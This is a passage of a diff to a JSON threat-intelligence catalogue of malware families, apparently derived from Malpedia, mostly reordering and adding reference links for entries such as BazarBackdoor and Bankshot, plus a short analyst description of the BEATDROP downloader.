"https://www.eff.org/deeplinks/2023/02/uncle-sow-dark-caracal-latin-america", + "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf", "https://twitter.com/malwrhunterteam/status/796425285197561856", - "https://www.eff.org/files/2018/01/29/operation-manul.pdf", - "https://www.proofpoint.com/us/blog/threat-insight/new-threat-actor-uses-spanish-language-lures-distribute-seldom-observed-bandook" + "https://www.eff.org/files/2018/01/29/operation-manul.pdf" ], "synonyms": [ "Bandok" @@ -13752,15 +14617,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "fa9b2176-1248-4d59-8da2-c31c7501a81d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "5c3c53ff-c81f-4daa-9b60-672650046ed7", "value": "bangat" }, @@ -13769,10 +14625,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.banjori", - "http://blog.kleissner.org/?p=69", + "https://www.johannesbader.ch/2015/02/the-dga-of-banjori/", "http://blog.kleissner.org/?p=192", - "http://osint.bambenekconsulting.com/feeds/", - "https://www.johannesbader.ch/2015/02/the-dga-of-banjori/" + "http://blog.kleissner.org/?p=69", + "http://osint.bambenekconsulting.com/feeds/" ], "synonyms": [ "BackPatcher", @@ -13789,30 +14645,23 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bankshot", + "https://malverse.it/analisi-bankshot-copperhedge", + "https://blog.reversinglabs.com/blog/hidden-cobra", + "https://www.us-cert.gov/ncas/analysis-reports/ar20-133a", + "https://securelist.com/the-lazarus-group-deathnote-campaign/109490/", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-108A-TraderTraitor-North_Korea_APT_Targets_Blockchain_Companies.pdf", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a", "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", "https://www.cisa.gov/uscert/ncas/alerts/aa22-108a", "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-B_WHITE.PDF", "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", - "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-108A-TraderTraitor-North_Korea_APT_Targets_Blockchain_Companies.pdf", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a", - "https://blog.reversinglabs.com/blog/hidden-cobra", - "https://www.secureworks.com/research/threat-profiles/nickel-gladstone", - "https://www.us-cert.gov/ncas/analysis-reports/ar20-133a" + "https://www.secureworks.com/research/threat-profiles/nickel-gladstone" ], "synonyms": [ "COPPERHEDGE" ], "type": [] }, - "related": [ - { - "dest-uuid": "d9431c02-5391-11e8-931f-4beceb8bd697", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "bc67677c-c0e7-4fb1-8619-7f43fa3ff886", "value": "Bankshot" }, @@ -13860,9 +14709,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bart", - "https://intel471.com/blog/a-brief-history-of-ta505", "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", + "https://intel471.com/blog/a-brief-history-of-ta505", "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf" ], "synonyms": [], @@ -13876,8 +14725,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.batchwiper", - "https://www.rewterz.com/rewterz-news/rewterz-threat-alert-common-raven-iocs", - "http://contagiodump.blogspot.com/2012/12/batchwiper-samples.html" + "http://contagiodump.blogspot.com/2012/12/batchwiper-samples.html", + "https://www.rewterz.com/rewterz-news/rewterz-threat-alert-common-raven-iocs" ], "synonyms": [], "type": [] @@ -13898,133 +14747,160 @@ "uuid": "3900aa45-a7ff-48cc-9ac0-58c7c372991e", "value": "Batel" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.bat_loader", + "https://insight-jp.nttsecurity.com/post/102i7af/steelclovergoogle", + "https://medium.com/walmartglobaltech/revisiting-batloader-c2-structure-52f46ff9893a", + "https://www.esentire.com/blog/batloader-continues-to-abuse-google-search-ads-to-deliver-vidar-stealer-and-ursnif", + "https://www.trendmicro.com/en_us/research/23/a/batloader-malware-abuses-legitimate-tools-uses-obfuscated-javasc.html", + "https://www.mandiant.com/resources/seo-poisoning-batloader-atera", + "https://www.kroll.com/en/insights/publications/cyber/hive-ransomware-technical-analysis-initial-access-discovery", + "https://intel471.com/blog/malvertising-surges-to-distribute-malware", + "https://medium.com/walmartglobaltech/signed-dll-campaigns-as-a-service-7760ac676489", + "https://blogs.vmware.com/security/2022/11/batloader-the-evasive-downloader-malware.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "ce6fe6c6-a74a-4cf7-adf8-41b5433bcbb6", + "value": "BATLOADER" + }, { "description": "BazarBackdoor is a small backdoor, probably by a TrickBot \"spin-off\" like anchor. Its called team9 backdoor (and the corresponding loader: team9 restart loader).\r\n\r\nFor now, it exclusively uses Emercoin domains (.bazar), thus the naming. FireEye uses KEGTAP as name for BazarLoader and BEERBOT for BazarBackdoor.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bazarbackdoor", - "https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti", - "https://johannesbader.ch/blog/the-buggy-dga-of-bazarbackdoor/", - "https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/", - "https://medium.com/walmartglobaltech/decrypting-bazarloader-strings-with-a-unicorn-15d2585272a9", - "https://www.gosecure.net/blog/2021/02/01/bazarloader-mocks-researchers-in-december-2020-malspam-campaign/", - "https://www.cybereason.com/blog/cybereason-vs.-conti-ransomware", - "https://www.zscaler.com/blogs/research/spear-phishing-campaign-delivers-buer-and-bazar-malware", - "https://thedfirreport.com/2021/03/08/bazar-drops-the-anchor/", - "https://thehackernews.com/2022/02/trickbot-gang-likely-shifting.html", - "https://www.domaintools.com/resources/blog/tracking-a-trickbot-related-ransomware-incident", - "https://abnormalsecurity.com/blog/bazarloader-contact-form", - "https://blog.talosintelligence.com/2021/10/threat-hunting-in-large-datasets-by.html", - "https://www.trendmicro.com/en_us/research/21/d/a-spike-in-bazarcall-and-icedid-activity.html", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/yanluowang-ransomware-attacks-continue", - "https://us-cert.cisa.gov/sites/default/files/publications/AA20-302A_Ransomware%20_Activity_Targeting_the_Healthcare_and_Public_Health_Sector.pdf", - "https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/", - "https://www.scythe.io/library/threatthursday-ryuk", - "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", - "https://www.fortinet.com/blog/threat-research/new-bazar-trojan-variant-is-being-spread-in-recent-phishing-campaign-part-I", - "https://unit42.paloaltonetworks.com/api-hammering-malware-families/", - "https://storage.pardot.com/652283/16118467480sqebwq7/MSP_Security_Summit___John_Hammond_Huntress___Analyzing_Ryuk.pdf", - "https://www.esentire.com/blog/conti-affiliate-exposed-new-domain-names-ip-addresses-and-email-addresses-uncovered-by-esentire", - "https://johannesbader.ch/blog/next-version-of-the-bazarloader-dga/", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", - "https://attackiq.com/2022/06/15/attack-graph-emulating-the-conti-ransomware-teams-behaviors/", - "https://www.bleepingcomputer.com/news/security/bazarbackdoor-trickbot-gang-s-new-stealthy-network-hacking-malware/", - "https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/", - "https://blog.minerva-labs.com/slamming-the-backdoor-on-bazarloader", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/", - "https://www.crowdstrike.com/blog/wizard-spider-adversary-update/", - "https://www.mandiant.com/resources/fin12-ransomware-intrusion-actor-pursuing-healthcare-targets", - "https://www.0ffset.net/reverse-engineering/bazarloader-iso-file-infection/", - "https://blog.prevailion.com/wizard-spider-continues-to-confound-4298370f6903", "https://mal-eats.net/en/2021/05/11/campo_new_attack_campaign_targeting_japan/", - "https://johannesbader.ch/blog/yet-another-bazarloader-dga/", - "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", - "https://www.crowdstrike.com/blog/four-popular-defensive-evasion-techniques-in-2021/", - "https://cybersecurity.att.com/blogs/labs-research/trickbot-bazarloader-in-depth", - "https://pcsxcetrasupport3.wordpress.com/2021/11/16/excel-4-macro-code-obfuscation/", - "https://www.0ffset.net/reverse-engineering/analysing-the-main-bazarloader/", - "https://www.hornetsecurity.com/en/threat-research/bazarloaders-elaborate-flower-shop-lure/", - "https://elis531989.medium.com/highway-to-conti-analysis-of-bazarloader-26368765689d", - "https://www.hornetsecurity.com/en/threat-research/bazarloader-campaign-with-fake-termination-emails/", - "https://www.advanced-intel.com/post/anatomy-of-attack-inside-bazarbackdoor-to-ryuk-ransomware-one-group-via-cobalt-strike", - "https://www.advintel.io/post/enter-karakurt-data-extortion-arm-of-prolific-ransomware-group", - "https://fr3d.hk/blog/campo-loader-simple-but-effective", - "https://www.bleepingcomputer.com/news/security/karakurt-revealed-as-data-extortion-arm-of-conti-cybercrime-syndicate/", - "https://www.fortinet.com/blog/threat-research/new-bazar-trojan-variant-is-being-spread-in-recent-phishing-campaign-part-II", - "https://research.nccgroup.com/2022/04/29/adventures-in-the-land-of-bumblebee-a-new-malicious-loader/", - "https://github.com/ThreatConnect-Inc/research-team/blob/master/IOCs/WizardSpider-UNC1878-Ryuk.csv", - "https://public.intel471.com/blog/trickbot-update-november-2020-bazar-loader-microsoft/", - "https://documents.trendmicro.com/assets/rpt/rpt-navigating-new-frontiers-trend-micro-2021-annual-cybersecurity-report.pdf", - "https://news.sophos.com/en-us/2021/11/11/bazarloader-call-me-back-attack-abuses-windows-10-apps-mechanism/", + "https://www.zscaler.com/blogs/research/spear-phishing-campaign-delivers-buer-and-bazar-malware", "https://isc.sans.edu/diary/27308", - "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles", - "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", - "https://www.microsoft.com/security/blog/2021/07/29/bazacall-phony-call-centers-lead-to-exfiltration-and-ransomware/", - "https://intel471.com/blog/conti-leaks-ransomware-development", - "https://blog.fox-it.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/", - "https://experience.mandiant.com/trending-evil/p/1", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", - "https://www.trendmicro.com/vinfo/hk-en/security/news/cybercrime-and-digital-threats/group-behind-trickbot-spreads-fileless-bazarbackdoor", - "https://twitter.com/anthomsec/status/1321865315513520128", - "https://intel471.com/blog/ettersilent-maldoc-builder-macro-trickbot-qbot/", - "https://mal-eats.net/2021/05/10/campo_new_attack_campaign_targeting_japan/", - "https://twitter.com/Unit42_Intel/status/1458113934024757256", - "https://blogs.vmware.com/networkvirtualization/2020/11/trick-or-threat-ryuk-ransomware-targets-the-health-care-industry.html/", - "https://medium.com/walmartglobaltech/nimar-loader-4f61c090c49e", - "https://securityintelligence.com/posts/trickbot-gang-doubles-down-enterprise-infection/", - "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", - "https://www.cybereason.com/hubfs/A%20Bazar%20of%20Tricks%20Following%20Team9%E2%80%99s%20Development%20Cycles%20IOCs.pdf", - "https://kienmanowar.wordpress.com/2022/02/24/quicknote-techniques-for-decrypting-bazarloader-strings/", - "https://go.recordedfuture.com/hubfs/reports/cta-2022-0118.pdf", - "https://johannesbader.ch/blog/the-dga-of-bazarbackdoor/", - "https://news.sophos.com/en-us/2021/04/15/bazarloader-deploys-a-pair-of-novel-spam-vectors", - "https://www.bleepingcomputer.com/news/security/malicious-csv-text-files-used-to-install-bazarbackdoor-malware/", - "https://www.cyberscoop.com/trickbot-shutdown-conti-emotet/", - "https://www.vkremez.com/2020/04/lets-learn-trickbot-bazarbackdoor.html", - "https://www.intel471.com/blog/Cobalt-strike-cybercriminals-trickbot-qbot-hancitor", - "https://www.trendmicro.com/en_us/research/21/k/bazarloader-adds-compromised-installers-iso-to-arrival-delivery-vectors.html", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-006.pdf", - "https://thedfirreport.com/2021/09/13/bazarloader-to-conti-ransomware-in-32-hours/", - "https://twitter.com/Unit42_Intel/status/1421117403644186629?s=20", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", - "https://resource.redcanary.com/rs/003-YRU-314/images/2022_ThreatDetectionReport_RedCanary.pdf", - "https://cofense.com/blog/bazarbackdoor-stealthy-infiltration", - "https://www.bleepingcomputer.com/news/security/corporate-website-contact-forms-used-to-spread-bazarbackdoor-malware/", - "https://thedfirreport.com/2021/01/31/bazar-no-ryuk/", - "https://blog.bushidotoken.net/2022/04/lessons-from-conti-leaks.html", - "https://johannesbader.ch/blog/a-bazarloader-dga-that-breaks-during-summer-months/", - "https://www.bleepingcomputer.com/news/security/bazarbackdoor-sneaks-in-through-nested-rar-and-zip-archives/", + "https://www.fortinet.com/blog/threat-research/new-bazar-trojan-variant-is-being-spread-in-recent-phishing-campaign-part-I", + "https://us-cert.cisa.gov/sites/default/files/publications/AA20-302A_Ransomware%20_Activity_Targeting_the_Healthcare_and_Public_Health_Sector.pdf", + "https://johannesbader.ch/blog/next-version-of-the-bazarloader-dga/", "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", - "https://thedfirreport.com/2021/10/04/bazarloader-and-the-conti-leaks/", - "https://www.zscaler.com/blogs/security-research/new-trickbot-and-bazarloader-campaigns-use-multiple-delivery-vectors", - "https://thehackernews.com/2022/02/notorious-trickbot-malware-gang-shuts.html", - "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/", - "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", - "https://www.proofpoint.com/us/blog/threat-insight/first-step-initial-access-leads-ransomware", - "https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/", - "https://thedfirreport.com/2021/08/01/bazarcall-to-conti-ransomware-via-trickbot-and-cobalt-strike/", - "https://www.proofpoint.com/us/blog/threat-insight/baza-valentines-day", - "https://www.trendmicro.com/en_us/research/22/c/cyberattacks-are-prominent-in-the-russia-ukraine-conflict.html", - "https://unit42.paloaltonetworks.com/bazarloader-anti-analysis-techniques/", - "https://www.advanced-intel.com/post/front-door-into-bazarbackdoor-stealthy-cybercrime-weapon", - "https://unit42.paloaltonetworks.com/bumblebee-malware-projector-libra/", - "https://malwarebookreports.com/bazarloader-back-from-holiday-break/", - "https://forensicitguy.github.io/bazariso-analysis-advpack/", - "https://cofense.com/the-ryuk-threat-why-bazarbackdoor-matters-most/", - "https://unit42.paloaltonetworks.com/bazarloader-malware/", - "https://www.bleepingcomputer.com/news/security/cisa-updates-conti-ransomware-alert-with-nearly-100-domain-names/", - "https://www.youtube.com/watch?v=uAkeXCYcl4Y", + "https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/", + "https://research.nccgroup.com/2022/04/29/adventures-in-the-land-of-bumblebee-a-new-malicious-loader/", + "https://www.vkremez.com/2020/04/lets-learn-trickbot-bazarbackdoor.html", + "https://www.mandiant.com/resources/fin12-ransomware-intrusion-actor-pursuing-healthcare-targets", "https://unit42.paloaltonetworks.com/ryuk-ransomware/", - "https://thedfirreport.com/2020/10/08/ryuks-return/", - "https://thedfirreport.com/2021/12/13/diavol-ransomware/", - "https://www.cybereason.com/blog/cybereason-vs.-ryuk-ransomware", - "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/rise-of-lnk-shortcut-files-malware/", + "https://www.cyberscoop.com/trickbot-shutdown-conti-emotet/", + "https://www.esentire.com/blog/conti-affiliate-exposed-new-domain-names-ip-addresses-and-email-addresses-uncovered-by-esentire", + "https://attackiq.com/2022/06/15/attack-graph-emulating-the-conti-ransomware-teams-behaviors/", + "https://cofense.com/blog/bazarbackdoor-stealthy-infiltration", + "https://thedfirreport.com/2021/01/31/bazar-no-ryuk/", + "https://thehackernews.com/2022/02/trickbot-gang-likely-shifting.html", "https://www.hhs.gov/sites/default/files/bazarloader.pdf", + "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", + "https://www.gosecure.net/blog/2021/02/01/bazarloader-mocks-researchers-in-december-2020-malspam-campaign/", + "https://www.bleepingcomputer.com/news/security/bazarbackdoor-trickbot-gang-s-new-stealthy-network-hacking-malware/", + "https://www.scythe.io/library/threatthursday-ryuk", + "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", + "https://mal-eats.net/2021/05/10/campo_new_attack_campaign_targeting_japan/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti", + "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://www.advanced-intel.com/post/anatomy-of-attack-inside-bazarbackdoor-to-ryuk-ransomware-one-group-via-cobalt-strike", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/", + "https://blog.bushidotoken.net/2022/04/lessons-from-conti-leaks.html", + "https://thedfirreport.com/2021/09/13/bazarloader-to-conti-ransomware-in-32-hours/", + "https://www.trendmicro.com/en_us/research/21/d/a-spike-in-bazarcall-and-icedid-activity.html", + "https://thedfirreport.com/2021/08/01/bazarcall-to-conti-ransomware-via-trickbot-and-cobalt-strike/", + "https://www.crowdstrike.com/blog/four-popular-defensive-evasion-techniques-in-2021/", + "https://www.advintel.io/post/enter-karakurt-data-extortion-arm-of-prolific-ransomware-group", + "https://www.intel471.com/blog/Cobalt-strike-cybercriminals-trickbot-qbot-hancitor", + "https://www.domaintools.com/resources/blog/tracking-a-trickbot-related-ransomware-incident", + "https://www.bleepingcomputer.com/news/security/karakurt-revealed-as-data-extortion-arm-of-conti-cybercrime-syndicate/", + "https://cybersecurity.att.com/blogs/labs-research/trickbot-bazarloader-in-depth", + "https://www.cybereason.com/blog/cybereason-vs.-conti-ransomware", + "https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/", + "https://experience.mandiant.com/trending-evil/p/1", + "https://www.crowdstrike.com/blog/wizard-spider-adversary-update/", + "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", + "https://abnormalsecurity.com/blog/bazarloader-contact-form", + "https://storage.pardot.com/652283/16118467480sqebwq7/MSP_Security_Summit___John_Hammond_Huntress___Analyzing_Ryuk.pdf", "https://unit42.paloaltonetworks.com/bazarloader-network-reconnaissance/", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://medium.com/walmartglobaltech/decrypting-bazarloader-strings-with-a-unicorn-15d2585272a9", + "https://www.0ffset.net/reverse-engineering/analysing-the-main-bazarloader/", + "https://news.sophos.com/en-us/2021/11/11/bazarloader-call-me-back-attack-abuses-windows-10-apps-mechanism/", + "https://blogs.vmware.com/networkvirtualization/2020/11/trick-or-threat-ryuk-ransomware-targets-the-health-care-industry.html/", + "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://thedfirreport.com/2020/10/08/ryuks-return/", "https://www.area1security.com/blog/trickbot-spear-phishing-drops-bazar-buer-malware/", - "https://securityintelligence.com/posts/trickbot-gang-template-based-metaprogramming-bazar-malware/" + "https://intel471.com/blog/ettersilent-maldoc-builder-macro-trickbot-qbot/", + "https://twitter.com/Unit42_Intel/status/1458113934024757256", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/yanluowang-ransomware-attacks-continue", + "https://www.proofpoint.com/us/blog/threat-insight/first-step-initial-access-leads-ransomware", + "https://github.com/ThreatConnect-Inc/research-team/blob/master/IOCs/WizardSpider-UNC1878-Ryuk.csv", + "https://unit42.paloaltonetworks.com/bazarloader-malware/", + "https://www.zscaler.com/blogs/security-research/new-trickbot-and-bazarloader-campaigns-use-multiple-delivery-vectors", + "https://www.bleepingcomputer.com/news/security/bazarbackdoor-sneaks-in-through-nested-rar-and-zip-archives/", + "https://unit42.paloaltonetworks.com/bumblebee-malware-projector-libra/", + "https://www.youtube.com/watch?v=pIXl79IPkLI", + "https://www.trellix.com/en-us/about/newsroom/stories/research/evolution-of-bazarcall-social-engineering-tactics.html", + "https://twitter.com/anthomsec/status/1321865315513520128", + "https://news.sophos.com/en-us/2021/04/15/bazarloader-deploys-a-pair-of-novel-spam-vectors", + "https://www.0ffset.net/reverse-engineering/bazarloader-iso-file-infection/", + "https://unit42.paloaltonetworks.com/bazarloader-anti-analysis-techniques/", + "https://www.bleepingcomputer.com/news/security/corporate-website-contact-forms-used-to-spread-bazarbackdoor-malware/", + "https://blog.prevailion.com/wizard-spider-continues-to-confound-4298370f6903", + "https://public.intel471.com/blog/trickbot-update-november-2020-bazar-loader-microsoft/", + "https://www.youtube.com/watch?v=uAkeXCYcl4Y", + "https://johannesbader.ch/blog/the-buggy-dga-of-bazarbackdoor/", + "https://thedfirreport.com/2021/03/08/bazar-drops-the-anchor/", + "https://resource.redcanary.com/rs/003-YRU-314/images/2022_ThreatDetectionReport_RedCanary.pdf", + "https://blog.minerva-labs.com/slamming-the-backdoor-on-bazarloader", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-006.pdf", + "https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/", + "https://www.bleepingcomputer.com/news/security/malicious-csv-text-files-used-to-install-bazarbackdoor-malware/", + "https://www.trendmicro.com/en_us/research/22/c/cyberattacks-are-prominent-in-the-russia-ukraine-conflict.html", + "https://documents.trendmicro.com/assets/rpt/rpt-navigating-new-frontiers-trend-micro-2021-annual-cybersecurity-report.pdf", + "https://intel471.com/blog/conti-leaks-ransomware-development", + "https://johannesbader.ch/blog/a-bazarloader-dga-that-breaks-during-summer-months/", + "https://johannesbader.ch/blog/yet-another-bazarloader-dga/", + "https://www.cybereason.com/hubfs/A%20Bazar%20of%20Tricks%20Following%20Team9%E2%80%99s%20Development%20Cycles%20IOCs.pdf", + "https://www.trendmicro.com/vinfo/hk-en/security/news/cybercrime-and-digital-threats/group-behind-trickbot-spreads-fileless-bazarbackdoor", + "https://www.cybereason.com/blog/cybereason-vs.-ryuk-ransomware", + "https://www.fortinet.com/blog/threat-research/new-bazar-trojan-variant-is-being-spread-in-recent-phishing-campaign-part-II", + "https://unit42.paloaltonetworks.com/api-hammering-malware-families/", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", + "https://unit42.paloaltonetworks.com/luna-moth-callback-phishing/", + "https://cocomelonc.github.io/tutorial/2021/09/04/simple-malware-av-evasion.html", + "https://www.trendmicro.com/en_us/research/21/k/bazarloader-adds-compromised-installers-iso-to-arrival-delivery-vectors.html", + "https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/", + "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/rise-of-lnk-shortcut-files-malware/", + "https://www.hornetsecurity.com/en/threat-research/bazarloader-campaign-with-fake-termination-emails/", + "https://www.advanced-intel.com/post/front-door-into-bazarbackdoor-stealthy-cybercrime-weapon", + "https://cocomelonc.github.io/tutorial/2022/06/12/malware-pers-7.html", + "https://johannesbader.ch/blog/the-dga-of-bazarbackdoor/", + "https://pcsxcetrasupport3.wordpress.com/2021/11/16/excel-4-macro-code-obfuscation/", + "https://www.hornetsecurity.com/en/threat-research/bazarloaders-elaborate-flower-shop-lure/", + "https://kienmanowar.wordpress.com/2022/02/24/quicknote-techniques-for-decrypting-bazarloader-strings/", + "https://www.microsoft.com/en-us/security/blog/2021/07/29/bazacall-phony-call-centers-lead-to-exfiltration-and-ransomware/", + "https://securityintelligence.com/posts/trickbot-gang-template-based-metaprogramming-bazar-malware/", + "https://fr3d.hk/blog/campo-loader-simple-but-effective", + "https://securityintelligence.com/posts/trickbot-gang-doubles-down-enterprise-infection/", + "https://go.recordedfuture.com/hubfs/reports/cta-2022-0118.pdf", + "https://thedfirreport.com/2021/12/13/diavol-ransomware/", + "https://forensicitguy.github.io/bazariso-analysis-advpack/", + "https://malwarebookreports.com/bazarloader-back-from-holiday-break/", + "https://www.bleepingcomputer.com/news/security/cisa-updates-conti-ransomware-alert-with-nearly-100-domain-names/", + "https://blog.fox-it.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://thehackernews.com/2022/02/notorious-trickbot-malware-gang-shuts.html", + "https://blog.talosintelligence.com/2021/10/threat-hunting-in-large-datasets-by.html", + "https://medium.com/walmartglobaltech/nimar-loader-4f61c090c49e", + "https://www.microsoft.com/security/blog/2021/07/29/bazacall-phony-call-centers-lead-to-exfiltration-and-ransomware/", + "https://thedfirreport.com/2021/10/04/bazarloader-and-the-conti-leaks/", + "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://elis531989.medium.com/highway-to-conti-analysis-of-bazarloader-26368765689d", + "https://twitter.com/Unit42_Intel/status/1421117403644186629?s=20", + "https://www.proofpoint.com/us/blog/threat-insight/baza-valentines-day", + "https://cofense.com/the-ryuk-threat-why-bazarbackdoor-matters-most/" ], "synonyms": [ "BEERBOT", @@ -14043,13 +14919,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bazarnimrod", + "https://medium.com/walmartglobaltech/nimar-loader-4f61c090c49e", + "https://medium.com/walmartglobaltech/investigation-into-the-state-of-nim-malware-14cc543af811", "https://umbrella.cisco.com/blog/cybersecurity-threat-spotlight-backdoors-rats-loaders-evasion-techniques", "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-old-dogs-new-tricks.pdf", - "https://www.healthcareinfosecurity.com/spear-phishing-campaign-distributes-nim-based-malware-a-16176", - "https://www.proofpoint.com/us/blog/threat-insight/nimzaloader-ta800s-new-initial-access-malware", - "https://medium.com/walmartglobaltech/nimar-loader-4f61c090c49e", "https://twitter.com/James_inthe_box/status/1357009652857196546", - "https://medium.com/walmartglobaltech/investigation-into-the-state-of-nim-malware-14cc543af811" + "https://www.healthcareinfosecurity.com/spear-phishing-campaign-distributes-nim-based-malware-a-16176", + "https://www.proofpoint.com/us/blog/threat-insight/nimzaloader-ta800s-new-initial-access-malware" ], "synonyms": [ "NimzaLoader" @@ -14064,10 +14940,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bbsrat", - "https://www.sstic.org/media/SSTIC2020/SSTIC-actes/pivoter_tel_bernard_ou_comment_monitorer_des_attaq/SSTIC2020-Slides-pivoter_tel_bernard_ou_comment_monitorer_des_attaquants_ngligents-lunghi.pdf", - "https://medium.com/insomniacs/shadows-in-the-rain-a16efaf21aae", "https://researchcenter.paloaltonetworks.com/2016/03/digital-quartermaster-scenario-demonstrated-in-attacks-against-the-mongolian-government/", - "https://medium.com/insomniacs/shadows-with-a-chance-of-blacknix-badc0f2f41cb" + "https://www.sstic.org/media/SSTIC2020/SSTIC-actes/pivoter_tel_bernard_ou_comment_monitorer_des_attaq/SSTIC2020-Slides-pivoter_tel_bernard_ou_comment_monitorer_des_attaquants_ngligents-lunghi.pdf", + "https://medium.com/insomniacs/shadows-with-a-chance-of-blacknix-badc0f2f41cb", + "https://cocomelonc.github.io/tutorial/2022/05/09/malware-pers-4.html", + "https://medium.com/insomniacs/shadows-in-the-rain-a16efaf21aae" ], "synonyms": [], "type": [] @@ -14102,24 +14979,35 @@ "value": "Beapy" }, { - "description": "", + "description": "According to Mandiant, BEATDROP is a downloader written in C that uses Atlassian's project management service Trello for C&C. BEATDROP uses Trello to store victim information and retrieve AES-encrypted shellcode payloads to be executed. BEATDROP then injects and executes downloaded payloads into a suspended process. Upon execution, BEATDROP maps a copy of ntdll.dll into memory to execute shellcode in its own process. The sample then creates a suspended thread with RtlCreateUserThread the thread points to NtCreateFile. The sample changes execution to shellcode and resumes the thread. The shellcode payload is retrieved from Trello and is targeted per victim. Once the payload has been retrieved, it is deleted from Trello.", "meta": { "refs": [ - "https://malpedia.caad.fkie.fraunhofer.de/details/win.bedep", - 